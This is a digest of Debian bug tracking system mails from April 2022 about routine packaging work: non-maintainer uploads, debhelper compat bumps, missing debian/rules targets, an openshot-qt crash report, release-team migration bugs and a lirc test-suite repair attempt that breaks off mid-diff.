Processing control commands: > tags 999018 + patch Bug #999018 [src:xvier] xvier: missing required debian/rules targets build-arch and/or build-indep Added tag(s) patch. > tags 999018 + pending Bug #999018 [src:xvier] xvier: missing required debian/rules targets build-arch and/or build-indep Added tag(s) pending. -- 999018: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=999018 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Processed: info2www: diff for NMU version 1.2.2.9-24.2
Processing control commands: > tags 965595 + patch Bug #965595 [src:info2www] info2www: Removal of obsolete debhelper compat 5 and 6 in bookworm Added tag(s) patch. > tags 965595 + pending Bug #965595 [src:info2www] info2www: Removal of obsolete debhelper compat 5 and 6 in bookworm Added tag(s) pending. -- 965595: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965595 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#999018: xvier: diff for NMU version 1.0-7.7
Control: tags 999018 + patch Control: tags 999018 + pending Dear maintainer, I've prepared an NMU for xvier (versioned as 1.0-7.7) and uploaded it to DELAYED/2. Please feel free to tell me if I should delay it longer. Regards. diff -u xvier-1.0/debian/changelog xvier-1.0/debian/changelog --- xvier-1.0/debian/changelog +++ xvier-1.0/debian/changelog @@ -1,3 +1,11 @@ +xvier (1.0-7.7) unstable; urgency=medium + + * Non-maintainer upload. + * debian/rules: added missing targets build-arch and build-indep. +(Closes: #999018) + + -- Guilherme de Paula Xavier Segundo Mon, 18 Apr 2022 16:01:05 -0300 + xvier (1.0-7.6) unstable; urgency=medium * Non-maintainer upload.
Bug#965595: info2www: diff for NMU version 1.2.2.9-24.2
Control: tags 965595 + patch Control: tags 965595 + pending Dear maintainer, I've prepared an NMU for info2www (versioned as 1.2.2.9-24.2) and uploaded it to DELAYED/2. Please feel free to tell me if I should delay it longer. Regards. diff -u info2www-1.2.2.9/debian/changelog info2www-1.2.2.9/debian/changelog --- info2www-1.2.2.9/debian/changelog +++ info2www-1.2.2.9/debian/changelog @@ -1,3 +1,10 @@ +info2www (1.2.2.9-24.2) unstable; urgency=medium + + * Non-maintainer upload. + * Bumped debhelper compat to 7. (Closes: #965595) + + -- Guilherme de Paula Xavier Segundo Mon, 18 Apr 2022 14:10:25 -0300 + info2www (1.2.2.9-24.1) unstable; urgency=medium * Non maintainer upload by the Reproducible Builds team.
Bug#999015: marked as done (clamassassin: missing required debian/rules targets build-arch and/or build-indep)
Your message dated Mon, 18 Apr 2022 23:18:46 + with message-id and subject line Bug#999015: fixed in clamassassin 1.2.4-1.2 has caused the Debian Bug report #999015, regarding clamassassin: missing required debian/rules targets build-arch and/or build-indep to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 999015: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=999015 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: clamassassin Version: 1.2.4-1.1 Severity: important Justification: Debian Policy section 4.9 Tags: bookworm sid User: debian...@lists.debian.org Usertags: missing-build-arch-indep Dear maintainer, Your package does not include build-arch and/or build-indep targets in debian/rules. This is required by Debian Policy section 4.9, since 2012. https://www.debian.org/doc/debian-policy/ch-source.html#main-building-script-debian-rules Please note that this is also a sign that the packaging of this software could benefit from a refresh. For example, packages using 'dh' cannot be affected by this issue. This mass bug filing was discussed on debian-devel@ in https://lists.debian.org/debian-devel/2021/11/msg00052.html . The severity of this bug will be changed to 'serious' after a month. Best, Lucas --- End Message --- --- Begin Message --- Source: clamassassin Source-Version: 1.2.4-1.2 Done: Joao Eriberto Mota Filho We believe that the bug you reported is fixed in the latest version of clamassassin, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 999...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Joao Eriberto Mota Filho (supplier of updated clamassassin package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Sat, 16 Apr 2022 19:47:25 -0300 Source: clamassassin Architecture: source Version: 1.2.4-1.2 Distribution: unstable Urgency: medium Maintainer: Robert S. Edmonds Changed-By: Joao Eriberto Mota Filho Closes: 965468 999015 Changes: clamassassin (1.2.4-1.2) unstable; urgency=medium . * Non-maintainer upload. * Using new DH level format. Consequently: - debian/compat: removed. - debian/control: changed from 'debhelper' to 'debhelper-compat' in Build-Depends field and bumped level to 13. - Closes: #965468 * debian/rules: added missing targets build-arch and build-indep. (Closes: #999015) Checksums-Sha1: 1ab70c4acc5ac7646b3b2842119a9fdcd3a29220 1688 clamassassin_1.2.4-1.2.dsc d99a8c7123d1102a9114bff45cb5acb7f1ae6b74 3188 clamassassin_1.2.4-1.2.diff.gz 9cf79ff6623bdea575f90b9bd6e34e2cacb413b9 5658 clamassassin_1.2.4-1.2_source.buildinfo Checksums-Sha256: ef1764150728a4c16bb791194c1bb66a73c58e4cb85fc983c2eaa4c9e867e25c 1688 clamassassin_1.2.4-1.2.dsc efbf91f1f5b02f7eb9ae12eb99ae8d21af7fe172d657e23482cae15ceef06f88 3188 clamassassin_1.2.4-1.2.diff.gz 3ecc533ad11ae21c024eb6872f62f6b119149ae10947b44b9ad385c4e28a15d1 5658 clamassassin_1.2.4-1.2_source.buildinfo Files: 2c1548a9b77428a2d094fdf2bac25ad2 1688 mail optional clamassassin_1.2.4-1.2.dsc 65b06020297ebac7264779bb8755f438 3188 mail optional clamassassin_1.2.4-1.2.diff.gz 0ba7134c521f69b2bb7cdc44ba8bc712 5658 mail optional clamassassin_1.2.4-1.2_source.buildinfo -BEGIN PGP SIGNATURE- iQIzBAEBCgAdFiEENX3LDuyVoBrrofDS3mO5xwTr6e8FAmJbSQAACgkQ3mO5xwTr 6e8EHw/+MYzvT0469vV6aq2Zs1/FtjjWfuucOI1bOUodRxkz1/2pbB3xL1uFEY3L lElvC4ZQnDWqWm/npidGlSgU1MjVjg0eqkAAzs7e0SRMNSs53KZ17+ie6vtQQ63R 8kKy8JlyXtyez0IyuJTT8C5oUSVAWISYRfP+8gAQCGEWwuF9SIad/EVDYYnWB0mO JzbTAZhpjukCymQVVSUoPshCWSZp5eE/CA9r/E22t0HONTJMBt9ke/zpc3cOG12T oqguBje9lUiJt6d1X0ysHNOvptG4BtzT4BgrCccoHuONgBwynBWCfRRuRofIhDRG JsGd5KIwKKahM2K23CSgonomaA2fkRsQ2K6LD14gh0YAMMSTiJoZsrzzNcWF0s1a ZoyXE7qN4g6JNXQYGAYggGYicTOQztTuZGS0pA4E5Z/V/zobrMeXNidC6uQm6QWf xwJ2bp3dh+alfaZceAi/Yk8Hmmi6r0f8BhwWLrhkn4dDMZ+HCfiEDqjIyiZxRZ3m UpMQqTMOI80GLaY6K273Vsg20bumDLeKxLF9s90RDQpdM7ywkDorQZCuxQcVBPm1 K2v5LoN2JRCAunInG8JTAM91N2jwsVww55l1zdWinf1pZAe2R8FnInAhARmNDv3l iXFZb8rf3lPD/bJWiJKGY9vKbuFWyhe51fXlNhQGPnUBfDN8wxg= =vuxr -END PGP SIGNATURE End Message ---
Bug#965468: marked as done (clamassassin: Removal of obsolete debhelper compat 5 and 6 in bookworm)
Your message dated Mon, 18 Apr 2022 23:18:46 + with message-id and subject line Bug#965468: fixed in clamassassin 1.2.4-1.2 has caused the Debian Bug report #965468, regarding clamassassin: Removal of obsolete debhelper compat 5 and 6 in bookworm to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 965468: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965468 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: clamassassin Version: 1.2.4-1 Severity: normal Usertags: compat-5-6-removal Hi, The package clamassassin uses debhelper with a compat level of 5 or 6, which is deprecated and scheduled for removal[1]. Please bump the debhelper compat at your earliest convenience /outside the freeze/! * Compat 13 is recommended (supported in stable-backports) * Compat 7 is the bare minimum PLEASE KEEP IN MIND THAT the release team *DOES NOT* accept uploads with compat bumps during the freeze. If there is any risk that the fix for this bug might not migrate to testing before 2021-01-01[3] then please postpone the fix until after the freeze. At the time of filing this bug, compat 5 and 6 are expected to be removed "some time during the development cycle of bookworm". Thanks, ~Niels [1] https://lists.debian.org/debian-devel/2020/07/msg00065.html [2] https://release.debian.org/bullseye/FAQ.html [3] The choice of 2021-01-01 as a "deadline" is set before the actual freeze deadline to provide a safe cut off point for most people. Mind you, it is still your responsibility to ensure that the upload makes it into testing even if you upload before that date. --- End Message --- --- Begin Message --- Source: clamassassin Source-Version: 1.2.4-1.2 Done: Joao Eriberto Mota Filho We believe that the bug you reported is fixed in the latest version of clamassassin, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 965...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Joao Eriberto Mota Filho (supplier of updated clamassassin package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Sat, 16 Apr 2022 19:47:25 -0300 Source: clamassassin Architecture: source Version: 1.2.4-1.2 Distribution: unstable Urgency: medium Maintainer: Robert S. Edmonds Changed-By: Joao Eriberto Mota Filho Closes: 965468 999015 Changes: clamassassin (1.2.4-1.2) unstable; urgency=medium . * Non-maintainer upload. * Using new DH level format. Consequently: - debian/compat: removed. - debian/control: changed from 'debhelper' to 'debhelper-compat' in Build-Depends field and bumped level to 13. - Closes: #965468 * debian/rules: added missing targets build-arch and build-indep. (Closes: #999015) Checksums-Sha1: 1ab70c4acc5ac7646b3b2842119a9fdcd3a29220 1688 clamassassin_1.2.4-1.2.dsc d99a8c7123d1102a9114bff45cb5acb7f1ae6b74 3188 clamassassin_1.2.4-1.2.diff.gz 9cf79ff6623bdea575f90b9bd6e34e2cacb413b9 5658 clamassassin_1.2.4-1.2_source.buildinfo Checksums-Sha256: ef1764150728a4c16bb791194c1bb66a73c58e4cb85fc983c2eaa4c9e867e25c 1688 clamassassin_1.2.4-1.2.dsc efbf91f1f5b02f7eb9ae12eb99ae8d21af7fe172d657e23482cae15ceef06f88 3188 clamassassin_1.2.4-1.2.diff.gz 3ecc533ad11ae21c024eb6872f62f6b119149ae10947b44b9ad385c4e28a15d1 5658 clamassassin_1.2.4-1.2_source.buildinfo Files: 2c1548a9b77428a2d094fdf2bac25ad2 1688 mail optional clamassassin_1.2.4-1.2.dsc 65b06020297ebac7264779bb8755f438 3188 mail optional clamassassin_1.2.4-1.2.diff.gz 0ba7134c521f69b2bb7cdc44ba8bc712 5658 mail optional clamassassin_1.2.4-1.2_source.buildinfo -BEGIN PGP SIGNATURE- iQIzBAEBCgAdFiEENX3LDuyVoBrrofDS3mO5xwTr6e8FAmJbSQAACgkQ3mO5xwTr 6e8EHw/+MYzvT0469vV6aq2Zs1/FtjjWfuucOI1bOUodRxkz1/2pbB3xL1uFEY3L lElvC4ZQnDWqWm/npidGlSgU1MjVjg0eqkAAzs7e0SRMNSs53KZ17+ie6vtQQ63R 8kKy8JlyXtyez0IyuJTT8C5oUSVAWISYRfP+8gAQCGEWwuF9SIad/EVDYYnWB0mO JzbTAZhpjukCymQVVSUoPshCWSZp5eE/CA9r/E22t0HONTJMBt9ke/zpc3cOG12T oqguBje9lUiJt6d1X0ysHNOvptG4BtzT4BgrCccoHuONgBwynBWCfRRuRofIhDRG JsGd5KIwKKahM2K23CSgonomaA2fkRsQ2K6LD14gh0YAMMSTiJoZsrzzNcWF0s1a ZoyXE7qN4g6JNXQYGAYggGYicTOQztTuZGS0pA4E5Z/V/zobrMeXNidC6uQm6QWf
Bug#988716: After the release is before the release
} > Upstream changed paths for the framework manifest files in recent } > releases and did not maintain backward compatibility links resulting } > in 4.3.4 no longer being able to install the frameworks. } } Had a quick look, and it's worse than that. Not just a change in paths, } but an entire new package manager, with a new API (/v2/ in the URLs). } > ... package is basically unusable for new installations } > Since it did not exist in buster, it is always a new installation } > in bullseye. Considering we are in late freeze phase I suggest to } > drop the package from Debian testing (and upload a new upstream } > release to sid). } } Sounds like the right call. } This bugreport has now a link to https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=976665 New upstream version 5.0.x available
Bug#1009054: marked as done (Just crashes)
Your message dated Mon, 18 Apr 2022 20:52:29 +
with message-id
and subject line Bug#1009054: fixed in openshot-qt 2.6.1+dfsg1-2
has caused the Debian Bug report #1009054,
regarding Just crashes
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
1009054: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009054
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: openshot-qt
Version: 2.6.1+dfsg1-1
Severity: grave
I just installed the software, launched "openshot-qt" and got a crash.
I'll put the result of "openshot-qt 2>&1 |tee /tmp/log" at the end of
this mail.
Cheers,
J.Puydt
Here is /tmp/log:
Warning: Ignoring XDG_SESSION_TYPE=wayland on Gnome. Use
QT_QPA_PLATFORM=wayland to run on Wayland anyway.
INFO app:
INFO app: Wed Apr 6 17:13:25 2022
INFO app: Starting new session
INFO app:
INFO app: OpenShot (version 2.6.1)
INFO app:
INFO app: openshot-qt version: 2.6.1
INFO app: libopenshot version: 0.2.7
INFO app: platform: Linux-5.16.0-4-amd64-x86_64-with-glibc2.33
INFO app: processor:
INFO app: machine: x86_64
INFO app: python version: 3.10.4
INFO app: qt5 version: 5.15.2
INFO app: pyqt5 version: 5.15.6
INFO project_data: Setting default profile to HD 720p 30 fps
INFO language: Qt Detected Languages: ['fr-FR']
INFO language: LANG Environment Variable: fr_FR.UTF-8
INFO language: LOCALE Environment Variable:
INFO language: OpenShot Preference Language: Default
INFO app: Setting font to Cantarell
INFO logger_libopenshot: Connecting to libopenshot with debug port:
5556
INFO app: Setting custom dark theme
INFO ui_util: Initializing UI for MainWindow
INFO webkit: WebKit backend initializing
INFO thumbnail: Starting thumbnail server listening on port 55351
INFO transition_model: updating transitions model.
INFO effects_model: updating effects model.
INFO emoji_model: updating emoji model.
INFO version: Found current version: {'error_rate_stable': 0.16,
'trans_rate_unstable': 0.001, 'error_rate_unstable': 0.05,
'trans_rate_stable': 0.01, 'openshot_version': '2.6.1'}
INFO main_window: InitCacheSettings
INFO main_window: cache-mode: CacheMemory
INFO main_window: cache-limit-mb: 250
INFO main_window: Creating CacheMemory object with 262144000 byte limit
INFO preview_thread: QThread Start Method Invoked
ERROR main_window: Unhandled crash detected: linux-/lib/x86_64-linux-
gnu/libc.so.6 abort 0x112 [0x7ff285404546]
INFO main_window: updateStatusChanged
INFO main_window: recover_backup
INFO project_data: Setting default profile to HD 720p 30 fps
INFO preview_thread: player Position(): 1
INFO video_widget: Load: Set video widget display aspect ratio to:
1.777910232544
INFO video_widget: Set video widget pixel aspect ratio to: 1.0
INFO main_window: updateStatusChanged
INFO webkit: Registering objects with WebKit
qt.svg: Invalid path data; path truncated.
qt.svg: Invalid path data; path truncated.
qt.svg: Invalid path data; path truncated.
Unhandled Python exception
Caught signal 6 (SIGABRT)
Unhandled Exception: Stack Trace
/lib/x86_64-linux-gnu/libc.so.6 ( abort
+ 0x112 ) [0x7f199f905546]
/lib/x86_64-linux-gnu/libQt5Core.so.5 (
+ 0x90b51) [0x7f199e6d6b51]
/usr/lib/python3/dist-packages/PyQt5/QtCore.abi3.so (
+ 0xb5237) [0x7f199ec4b237]
/usr/lib/python3/dist-packages/PyQt5/sip.cpython-310-x86_64-linux-
gnu.so ( + 0x11363)
[0x7f199c0d8363]
/usr/lib/python3/dist-packages/PyQt5/QtWidgets.abi3.so (
+ 0x154b1d) [0x7f199bcc0b1d]
/usr/lib/python3/dist-packages/PyQt5/QtWidgets.abi3.so (
+ 0x3a581c) [0x7f199bf1181c]
/lib/x86_64-linux-gnu/libQt5Widgets.so.5 ( QWidget::event(QEvent*)
+ 0x20e ) [0x7f199b6674ce]
/usr/lib/python3/dist-packages/PyQt5/QtWidgets.abi3.so (
+ 0x3ac443) [0x7f199bf18443]
/lib/x86_64-linux-gnu/libQt5Widgets.so.5 (
QApplicationPrivate::notify_helper(QObject*, QEvent*) + 0x7f )
[0x7f199b6256bf]
/usr/lib/python3/dist-packages/PyQt5/QtWidgets.abi3.so (
+ 0x3bd8ae) [0x7f199bf298ae]
/lib/x86_64-linux-gnu/libQt5Core.so.5 (
QCoreApplication::notifyInternal2(QObject*, QEvent*) + 0x12a )
[0x7f199e8f5aba]
/lib/x86_64-linux-gnu/libQt5Widgets.so.5 (
QWidgetPrivate::sendPaintEvent(QRegion const&) + 0x36 )
[0x7f199b65f516]
Bug#965457: marked as done (choosewm: Removal of obsolete debhelper compat 5 and 6 in bookworm)
Your message dated Mon, 18 Apr 2022 20:48:48 + with message-id and subject line Bug#965457: fixed in choosewm 0.1.6-3.1 has caused the Debian Bug report #965457, regarding choosewm: Removal of obsolete debhelper compat 5 and 6 in bookworm to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 965457: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965457 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: choosewm Version: 0.1.6-3 Severity: normal Usertags: compat-5-6-removal Hi, The package choosewm uses debhelper with a compat level of 5 or 6, which is deprecated and scheduled for removal[1]. Please bump the debhelper compat at your earliest convenience /outside the freeze/! * Compat 13 is recommended (supported in stable-backports) * Compat 7 is the bare minimum PLEASE KEEP IN MIND THAT the release team *DOES NOT* accept uploads with compat bumps during the freeze. If there is any risk that the fix for this bug might not migrate to testing before 2021-01-01[3] then please postpone the fix until after the freeze. At the time of filing this bug, compat 5 and 6 are expected to be removed "some time during the development cycle of bookworm". Thanks, ~Niels [1] https://lists.debian.org/debian-devel/2020/07/msg00065.html [2] https://release.debian.org/bullseye/FAQ.html [3] The choice of 2021-01-01 as a "deadline" is set before the actual freeze deadline to provide a safe cut off point for most people. Mind you, it is still your responsibility to ensure that the upload makes it into testing even if you upload before that date. --- End Message --- --- Begin Message --- Source: choosewm Source-Version: 0.1.6-3.1 Done: Joao Eriberto Mota Filho We believe that the bug you reported is fixed in the latest version of choosewm, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 965...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Joao Eriberto Mota Filho (supplier of updated choosewm package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Sat, 16 Apr 2022 16:58:21 -0300 Source: choosewm Architecture: source Version: 0.1.6-3.1 Distribution: unstable Urgency: medium Maintainer: Bernhard R. Link Changed-By: Joao Eriberto Mota Filho Closes: 965457 Changes: choosewm (0.1.6-3.1) unstable; urgency=medium . * Non-maintainer upload. * Using new DH level format. Consequently: - debian/compat: removed. - debian/control: changed from 'debhelper' to 'debhelper-compat' in Build-Depends field and bumped level to 13. - Closes: #965457 Checksums-Sha1: 51173cf448887ade0666b3bd6cfefc2795d78cf6 1750 choosewm_0.1.6-3.1.dsc 9d783a1b32302733c9e6b269af04ac49643c6496 4400 choosewm_0.1.6-3.1.debian.tar.xz 1378f4a989ac1d6b9c5181365a4e0e7b8b7aa563 10677 choosewm_0.1.6-3.1_source.buildinfo Checksums-Sha256: 7c5556b9a2f3045e3c28274df9f6c3c1f0cb631aa16fb90f95264b69cfe407cc 1750 choosewm_0.1.6-3.1.dsc 28f3b42798d6ce7e39f9225ce88f09f67c3e04fe911c2d7a352cc8be5d19b344 4400 choosewm_0.1.6-3.1.debian.tar.xz 8b853e53ebc46b243432dea14e5bd4d1fa860537540666b9b7c61606421b6960 10677 choosewm_0.1.6-3.1_source.buildinfo Files: c52b989827732e6be56710d8dd5302a4 1750 x11 extra choosewm_0.1.6-3.1.dsc 449f10109bf46e9ba0b2f8b911b04981 4400 x11 extra choosewm_0.1.6-3.1.debian.tar.xz d86dab6bcb9aab7301608b6349e4c17c 10677 x11 extra choosewm_0.1.6-3.1_source.buildinfo -BEGIN PGP SIGNATURE- iQIzBAEBCgAdFiEENX3LDuyVoBrrofDS3mO5xwTr6e8FAmJbIUoACgkQ3mO5xwTr 6e/BBg//bVONs7xP8QGnpaFh9uJTt9bzr8FGga9532x6mFs4h55u6PIxskkYBv/m SA4DBUixacNm5xo+iUheESlKPFjA5OSJzYzCDZl45oyzmtxDEspqhdNQxi5My7dV QEvGPz7XbSOIoq6l0qeSYAOs8sg22ocWEBHGpZxtNf3J85JEfGZZvb26+JJpwdkD kllf6zq8lk4YFDsC1UqvmqFQZd/8Q6Ht/XhqmjFjXza/7RQIsflApO2YVVhv6zaS S/poYwz2VNXFqgE6FtHFlCaUpOXP/mVrctSFE34Tk+DfB244mvapspf12iL7hnM7 wHoYp48Rj4K933kQQER+ImpFZfFAG/jdvNO69DVan+5ao3d/ag1QUoWDVlsPnXfw jYrqijMI+vEsrMr55/Q6Vw6nRU4zusFi+NHJEExTjtIJvugBdliVRntw0qZCtKOA 92Q0Bqrvr4qolw0+EVs80m5xDWLF/bzavfOlv0SwXyc5AkemJj3llpk0hcXxsC1e qWvonJJwYFyQFTbCowNMVA62eVG4SOs0UQ5kVPgT59iUBtsrLmGjI+KN17J4ms0N
Bug#1009054: marked as pending in openshot-qt
Control: tag -1 pending Hello, Bug #1009054 in openshot-qt reported by you has been fixed in the Git repository and is awaiting an upload. You can see the commit message below and you can check the diff of the fix at: https://salsa.debian.org/multimedia-team/openshot-qt/-/commit/415288424c643ce07641dcbcec75272c64a96eb3 Apply upstream fixes to work with Python 3.10 Closes: #1009054 (this message was generated automatically) -- Greetings https://bugs.debian.org/1009054
Processed: Bug#1009054 marked as pending in openshot-qt
Processing control commands: > tag -1 pending Bug #1009054 [openshot-qt] Just crashes Added tag(s) pending. -- 1009054: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009054 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#997080: openvdb: FTBFS: help2man: can't get `--help' info from ./debian/tmp/usr/bin/vdb_view
This bug is blocking openimageio, which blocks blender. Can this be fixed, is it still not reproducible? Best Regards, Jonathan Rubenstein
Bug#1008818: why is this rpm's fault?
la...@debian.org dixit: >On my bullseye machine sudo rpm -qa creates the subdirectory in >/root/.rpmdb as root. So IMO this works correct. Not with !env_reset in sudoers, though :( as I wrote in the last mail. bye, //mirabilos -- Gestern Nacht ist mein IRC-Netzwerk explodiert. Ich hatte nicht damit gerechnet, darum bin ich blutverschmiert… wer konnte ahnen, daß SIE so reagier’n… gestern Nacht ist mein IRC-Netzwerk explodiert~~~ (as of 2021-06-15 The MirOS Project temporarily reconvenes on OFTC)
Bug#1009836: python3-pylsp-flake8: give upstream source in the d/copyright file
Package: python3-pylsp-flake8 Version: 0.4.0-2 Severity: serious The debian/copyright file for this package currently does not state the location of the upstream sources. (Marked "serious" because this is a violation of Policy section 12.5.) I'm happy to fix this myself if you would like me to. Best wishes, Julian
Processed: found 1009415 in 0.5.3+ds-1
Processing commands for cont...@bugs.debian.org: > found 1009415 0.5.3+ds-1 Bug #1009415 [src:gemmi] gemmi: FTBFS with tao-pegtl v3 Marked as found in versions gemmi/0.5.3+ds-1. > thanks Stopping processing here. Please contact me if you need assistance. -- 1009415: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009415 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Processed: src:connectagram: fails to migrate to testing for too long: new build dependency not available on s390x
Processing control commands: > close -1 1.3.1-1 Bug #1009833 [src:connectagram] src:connectagram: fails to migrate to testing for too long: new build dependency not available on s390x Marked as fixed in versions connectagram/1.3.1-1. Bug #1009833 [src:connectagram] src:connectagram: fails to migrate to testing for too long: new build dependency not available on s390x Marked Bug as done -- 1009833: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009833 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1009833: src:connectagram: fails to migrate to testing for too long: new build dependency not available on s390x
Source: connectagram Version: 1.2.11-2 Severity: serious Control: close -1 1.3.1-1 Tags: sid bookworm User: release.debian@packages.debian.org Usertags: out-of-sync Dear maintainer(s), The Release Team considers packages that are out-of-sync between testing and unstable for more than 60 days as having a Release Critical bug in testing [1]. Your package src:connectagram has been trying to migrate for 61 days [2]. Hence, I am filing this bug. In your latest upload you added a new build dependency. However, that build dependency isn't available on s390x where your package built successfully in the past. I suggest you file an RM bug (ftp.debian.org pseudo package) to have your s390x binary remove from unstable. If a package is out of sync between unstable and testing for a longer period, this usually means that bugs in the package in testing cannot be fixed via unstable. Additionally, blocked packages can have impact on other packages, which makes preparing for the release more difficult. Finally, it often exposes issues with the package and/or its (reverse-)dependencies. We expect maintainers to fix issues that hamper the migration of their package in a timely manner. This bug will trigger auto-removal when appropriate. As with all new bugs, there will be at least 30 days before the package is auto-removed. I have immediately closed this bug with the version in unstable, so if that version or a later version migrates, this bug will no longer affect testing. I have also tagged this bug to only affect sid and bookworm, so it doesn't affect (old-)stable. If you believe your package is unable to migrate to testing due to issues beyond your control, don't hesitate to contact the Release Team. Paul [1] https://lists.debian.org/debian-devel-announce/2020/02/msg5.html [2] https://qa.debian.org/excuses.php?package=connectagram OpenPGP_signature Description: OpenPGP digital signature
Processed: src:tanglet: fails to migrate to testing for too long: new build dependency not available on s390x
Processing control commands: > close -1 1.6.1.1-1 Bug #1009832 [src:tanglet] src:tanglet: fails to migrate to testing for too long: new build dependency not available on s390x Marked as fixed in versions tanglet/1.6.1.1-1. Bug #1009832 [src:tanglet] src:tanglet: fails to migrate to testing for too long: new build dependency not available on s390x Marked Bug as done -- 1009832: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009832 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1009832: src:tanglet: fails to migrate to testing for too long: new build dependency not available on s390x
Source: tanglet Version: 1.5.6-1 Severity: serious Control: close -1 1.6.1.1-1 Tags: sid bookworm User: release.debian@packages.debian.org Usertags: out-of-sync Dear maintainer(s), The Release Team considers packages that are out-of-sync between testing and unstable for more than 60 days as having a Release Critical bug in testing [1]. Your package src:tanglet has been trying to migrate for 61 days [2]. Hence, I am filing this bug. In your latest upload you added a new build dependency. However, that build dependency isn't available on s390x where your package built successfully in the past. I suggest you file an RM bug (ftp.debian.org pseudo package) to have your s390x binary remove from unstable. If a package is out of sync between unstable and testing for a longer period, this usually means that bugs in the package in testing cannot be fixed via unstable. Additionally, blocked packages can have impact on other packages, which makes preparing for the release more difficult. Finally, it often exposes issues with the package and/or its (reverse-)dependencies. We expect maintainers to fix issues that hamper the migration of their package in a timely manner. This bug will trigger auto-removal when appropriate. As with all new bugs, there will be at least 30 days before the package is auto-removed. I have immediately closed this bug with the version in unstable, so if that version or a later version migrates, this bug will no longer affect testing. I have also tagged this bug to only affect sid and bookworm, so it doesn't affect (old-)stable. If you believe your package is unable to migrate to testing due to issues beyond your control, don't hesitate to contact the Release Team. Paul [1] https://lists.debian.org/debian-devel-announce/2020/02/msg5.html [2] https://qa.debian.org/excuses.php?package=tanglet OpenPGP_signature Description: OpenPGP digital signature
Bug#1009389: confirming and repair attempt
Hi,
The FTBFS is reproducable `debuild -uc -us`.
Below is a screenshot of my repair attempt.
8<--8<--8<--8<--
stappers@myhost:~/src/lirc
$ cd python-pkg/tests/
stappers@myhost:~/src/lirc/python-pkg/tests
$ python3 -m unittest discover && rm backend.log
E
==
ERROR: test_client (unittest.loader._FailedTest)
--
ImportError: Failed to import test module: test_client
Traceback (most recent call last):
File "/usr/lib/python3.10/unittest/loader.py", line 436, in _find_test_path
module = self._get_module_from_name(name)
File "/usr/lib/python3.10/unittest/loader.py", line 377, in
_get_module_from_name
__import__(name)
File "/home/stappers/src/lirc/python-pkg/tests/test_client.py", line 116
self.assertEqual(len(lines), 1000)
IndentationError: expected an indented block after 'with' statement on line 110
--
Ran 1 test in 0.000s
FAILED (errors=1)
stappers@myhost:~/src/lirc/python-pkg/tests
$ vi +110 test_client.py
stappers@myhost:~/src/lirc/python-pkg/tests
$ python3 -m unittest discover && rm backend.log
...E...
==
ERROR: testReceive1AsyncLines (test_client.ReceiveTests)
Receive 1000 lines using the async interface.
--
Traceback (most recent call last):
File "/home/stappers/src/lirc/python-pkg/tests/test_client.py", line 113, in
testReceive1AsyncLines
run_until_complete(get_lines(conn, 1000))
NameError: name 'run_until_complete' is not defined
--
Ran 7 tests in 0.748s
FAILED (errors=1)
stappers@myhost:~/src/lirc/python-pkg/tests
$ git diff test_client.py
diff --git a/python-pkg/tests/test_client.py b/python-pkg/tests/test_client.py
index d9af254..9428485 100644
--- a/python-pkg/tests/test_client.py
+++ b/python-pkg/tests/test_client.py
